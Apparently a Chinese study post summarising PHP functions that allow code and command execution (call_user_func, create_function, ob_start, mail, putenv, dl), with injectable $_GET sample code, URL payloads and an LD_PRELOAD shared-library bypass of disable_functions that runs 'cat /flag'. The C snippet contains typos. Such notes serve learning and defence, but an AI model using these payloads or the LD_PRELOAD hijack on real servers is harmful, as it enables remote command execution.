1.PHP中代码执行的危险函数

call_user_func()

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 传入call_user_func()的参数不能为引用传递

call_user_func($_GET['1'],$_GET['2']);
codeexec.php?1=assert&2=phpinfo()

call_user_func_array()

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

call_user_func_array($_GET['1'],$_GET['2']);

codeexec.php?1=assert&2[]=phpinfo()

create_function

该函数的内部实现用到了eval,所以也具有相同的安全问题。第一个参数args是后面定义函数的参数,第二个参数是函数的代码。

    $a = $_GET['a'];
$b = create_function('$a',"echo $a");
$b('');
codeexec.php?a=phpinfo();

array_map()

作用是为数组的每个元素应用回调函数 。其返回值为数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

<?php
$array = array(0,1,2,3,4,5);
array_map($_GET[1],$array);
?>
codeexec.php?1=phpinfo
preg_match+/e选项

搜索subject中匹配pattern的部分, 以replacement进行替换。当使用被弃用的 e 修饰符时, 这个函数会转义一些字符,在完成替换后,引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。

2.php命令执行函数

system

如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后, 自动刷新 web 服务器的输出缓存。

shell_exec(没有回显的命令执行)

通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。(和``反引号效果相同)

passthru

同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。

exec(只返回一行数据)

popen

打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。

proc_open
<?php
$descriptorspec=array( //这个索引数组用力指定要用proc_open创建的子进程的描述符
0=>array('pipe','r'), //STDIN
1=>array('pipe','w'),//STDOUT
2=>array('pipe','w') //STDERROR
);
$handle=proc_open('dir',$descriptorspec,$pipes,NULL);
//$pipes中保存的是子进程创建的管道对应到 PHP 这一端的文件指针($descriptorspec指定的)
if(!is_resource($handle)){
die('proc_open failed');
}
//fwrite($pipes[0],'ipconfig');
print('stdout:<br/>');
while($s=fgets($pipes[1])){
print_r($s);
}
print('===========<br/>stderr:<br/>');
while($s=fgets($pipes[2])){
print_r($s);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($handle);
?>

ob_start()

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

当调用 output_callback 时,它将收到输出缓冲区的内容作为参数 并预期返回一个新的输出缓冲区作为结果,这个新返回的输出缓冲区内容将被送到浏览器。

<?php
$cmd = 'system';
ob_start($cmd); //将命令存储到内部缓冲区
echo "$_GET[a]";
ob_end_flush(); 清除内部缓冲区,此时将输出缓冲区的内容当作参数执行并输入执行结果,即执行system($_GET(a))
?>

mail()  第五个参数 excrt_cmd

第五个参数支持添加附加的命令作为发送邮件时候的配置,比如使用-f参数可以设置邮件发件人等。

如果传递了第五个参数(extra_cmd),则用sprintf将sendmail_path和extra_cmd拼接到sendmail_cmd中,随后将sendmail_cmd丢给popen执行,如果系统默认sh是bash,popen会派生bash进程,而我们刚才提到的bash 破壳漏洞,直接就导致我们可以利用mail()函数执行任意命令,绕过disable_functions的限制

即mail->poen->bash调用链

但是如果使用了php_escape_shell_cmd函数会对特殊字符(包括&#;`|*?~<>^()[]{}$\, \x0A and \xFF. ‘ 等)进行转义,我们可以通过putenv函数来设置一个包含自定义函数的环境变量,然后通过mail()来触发

putenv()

bool putenv ( string $setting )

添加 setting 到服务器环境变量,环境变量仅存活于当前请求期间,在请求结束时环境会恢复到初始状态。 即我们能够自定义环境变量

比如:

LD_PRELOAD是Linux系统的下一个有趣的环境变量,它允许你定义在程序运行前优先加载的动态链接库

这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。
通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。
一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

它允许你定义在程序运行前优先加载的动态链接库,这说明我们几乎可以劫持PHP的大部分函数,比如php的mail函数实际上是调用了系统的sendmail命令,我们选一个库函数geteuid

然后编写一个自己的动态链接程序,tr1ple.c

#include<stdlib.h>
#include<stdio.h>
#include<string.h> void payload(){
system("cat /flag");
} int geteuid(){
if(geteenv("LD_PRELOAD")==NULL){
return ;
}
unsetenv("LD_PRELOAD");
payload();
}

当我们编写的共享库的geteuid函数被调用时将执行命令,测试编译时平台尽量与目标相近。

运行:

gcc -c -fPIC tr1ple.c -o tr1ple
gcc --share tr1ple -o tr1ple.so

此时生成了tr1ple.so,我们将so文件放在web目录下,然后编写php文件进行测试:

<?php
putenv("LD_PRELOAD=/var/www/html/tr1ple.so");
mail("1@2","","","","");
?>

然后访问后就会在web目录下产生2333文件:

所以就达到了劫持geteuid函数的目的,让程序调用我们的恶意so文件中函数,我们让php文件调用putenv来设置一个临时环境变量LD_PRELOAD,以便于在程序执行时去加载我们的so,那么关键就是这里。那么联想一下如果我们能劫持其他库函数,那么也能达到相同的效果,因为php是用c写的,mail调用了sendmail命令,sendmail命令又调用了geteuid函数,那就有以下:

1.如果其他php函数也调用了sendmail命令;

2.如果其它php函数调用系统命令并调用c的库函数

以上两种可能应该都是存在的,都可能产生风险。

assert

它也能来动态代码执行,但是只是php5.x,7.x里就是即使参数是字符串也不执行

dl()

dl()函数允许在php脚本里动态加载php模块,默认是加载extension_dir目录里的扩展,
该选项是PHP_INI_SYSTEM范围可修改的,只能在php.ini或者apache主配置文件里修改。
当然,你也可以通过enable_dl选项来关闭动态加载功能,而这个选项默认为On的,事实上也很少人注意到这个。
dl()函数在设计时存在安全漏洞,可以用../这种目录遍历的方式指定加载任何一个目录里的so等扩展文件,extension_dir限制可以被随意饶过。
所以我们可以上传自己的so文件,并且用dl函数加载这个so文件然后利用so文件里的函数执行其他操作,
包括系统命令。

ini_set()/ini_alter()

设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。如果能结合call_user_func函数就能进行调用设置。

不是所有有效的选项都能够用 ini_set() 来改变的。 这里有个有效选项的清单附录,附录地址为https://www.php.net/manual/zh/ini.list.php

imap_mail

imap_mail在执行时也会fork execve,去调用sendmail,因此也会加载我们的so

参数设置与mail相同

参考(侵删):

https://www.k0rz3n.com/2019/02/12/PHP%20%E4%B8%AD%E5%8F%AF%E4%BB%A5%E5%88%A9%E7%94%A8%E7%9A%84%E5%8D%B1%E9%99%A9%E7%9A%84%E5%87%BD%E6%95%B0/#8-mail-%E7%AC%AC%E4%BA%94%E4%B8%AA%E5%8F%82%E6%95%B0-excrt-cmd

PHP危险函数总结学习的更多相关文章

  1. PHP危险函数的持续学习

    记录下遇到过的PHP危险函数 0x01 escapeshellarg()与escapeshellsmd()联合 先给出官方的定义: escapeshellarg ( string $arg ) : s ...

  2. Apache降权和禁用PHP危险函数

    测试环境: Windows Server 2003 + phpstudy 首先在win2003里运行phpstudy,这里注意需要选择应用系统服务模式,应用之后重启phpstudy. 打开系统服务(开 ...

  3. 【随笔】Apache降权和禁用PHP危险函数

    测试环境: Windows Server 2003 + phpstudy 首先在win2003里运行phpstudy,这里注意需要选择应用系统服务模式,应用之后重启phpstudy. 打开系统服务(开 ...

  4. Hive自定义函数的学习笔记(1)

    前言: hive本身提供了丰富的函数集, 有普通函数(求平方sqrt), 聚合函数(求和sum), 以及表生成函数(explode, json_tuple)等等. 但不是所有的业务需求都能涉及和覆盖到 ...

  5. (转载)prepare函数的学习,我要学习php第二天

    (转载)http://www.boyuan78.com/htm/company/2012_1030_60.html prepare函数的学习,我要学习php第二天 $mysqli = new mysq ...

  6. QT QObject::connect函数的学习

      从Qobject(QObject.h)源码中可以看到QObject::connect的定义是这样的: static bool connect(const QObject *sender, cons ...

  7. 禁用了传说中的PHP危险函数之后,Laravel的定时任务不能执行了?

    虽然已是 2018 年,但网上依然流传着一些「高危 PHP 函数,请一定要禁用!」的标题党文章(搜索关键字:一些需要禁用的PHP危险函数). 这些文章的内容简单直接,给出 php.ini 的 disa ...

  8. Matlab中常见的神经网络训练函数和学习函数

    一.训练函数 1.traingd Name:Gradient descent backpropagation (梯度下降反向传播算法 ) Description:triangd is a networ ...

  9. python函数基础学习

    函数的定义与调用: def 函数名(参数1,参数2): ‘’’函数注释’’’ print(‘函数体’) return 返回值 定  义:def关键字开关,空格之后接函数名和圆括号,最后冒号结尾 def ...

随机推荐

  1. cogs.12运输问题2题解

    乍一看貌似和运输问题1没有任何区别,但本题有一个有意思的东西叫做下限,我个人称之为非强制下限,因为本题中要求的实际是我走这条边这条边才至少走下限的流,虽然出题人没说,但从样例来看确实是这样的,而强制下 ...

  2. who are you?

    不多说,直接使用脚本跑 # -*- coding:utf-8 -*- import requests import string url = "http://ctf5.shiyanbar.c ...

  3. 洛谷P1640 [SCOI2010]连续攻击游戏 题解

    题目链接: https://www.luogu.org/problemnew/show/P1640 分析: 这道题用二分图来解决即可.应该可以作为网络流中的模板题来食用, 每一个武器有两个属性,但是只 ...

  4. 个人永久性免费-Excel催化剂功能第69波-专业图表库新增图表-刘万祥老师中国地图

    Excel催化剂的[专业图表库],仅提供一个工具的输出,让用户可以在制作专业图表过程中更低的门槛,更快速的完成所想要实现的图表.具体参考:第69波-打造最专业易用的商务图表库https://www.j ...

  5. 个人永久性免费-Excel催化剂功能第46波-区域集合函数,超乎所求所想

    在常规自定义函数的世界中,一般情况下,仅会输入一堆的参数,最终输出一个结果值,在以往Excel催化剂的自定义函数,已经大量出现输入一堆参数返回多个结果值并自动输出到多个单元格区域内.此项技术可运用的场 ...

  6. Excel催化剂开源第8波-VSTO开发之异步调用方法

    在VSTO开发过程中,因其和普通的Winform开发有点差别,具体细节笔者也说不清楚,大概是VSTO的插件是寄生在Excel中,不属于独立的进程之类的,其异步方法调用时,未能如Winform那样直接用 ...

  7. Spring_IoC注解开发和AOP的XML开发(学习笔记2)

    一:IoC注解开发 1,在applicationContext.xml中需要引入context约束 <beans xmlns="http://www.springframework.o ...

  8. E-R图怎么绘制

    E-R图中主要涉及到的元素有: 实体:用长方形表示 关联关系:用菱形表示 属性:用椭圆表示 参考一个例子:

  9. IIS应用程序池标识(程序池账户)ApplicationPoolIdentify

    IIS中应用程序池的运行账户(标识)有以下4个选项 LocalService 本地服务 LocalSystem 本地系统 NetWorkService 网络服务 ApplicationPoolIden ...

  10. 【IDEA】IntelliJ IDEA Web调试控制台中文乱码问题

    RT,解决方法: Tomcat VM Options 配置参数 -Dfile.encoding=UTF-8,如图所示: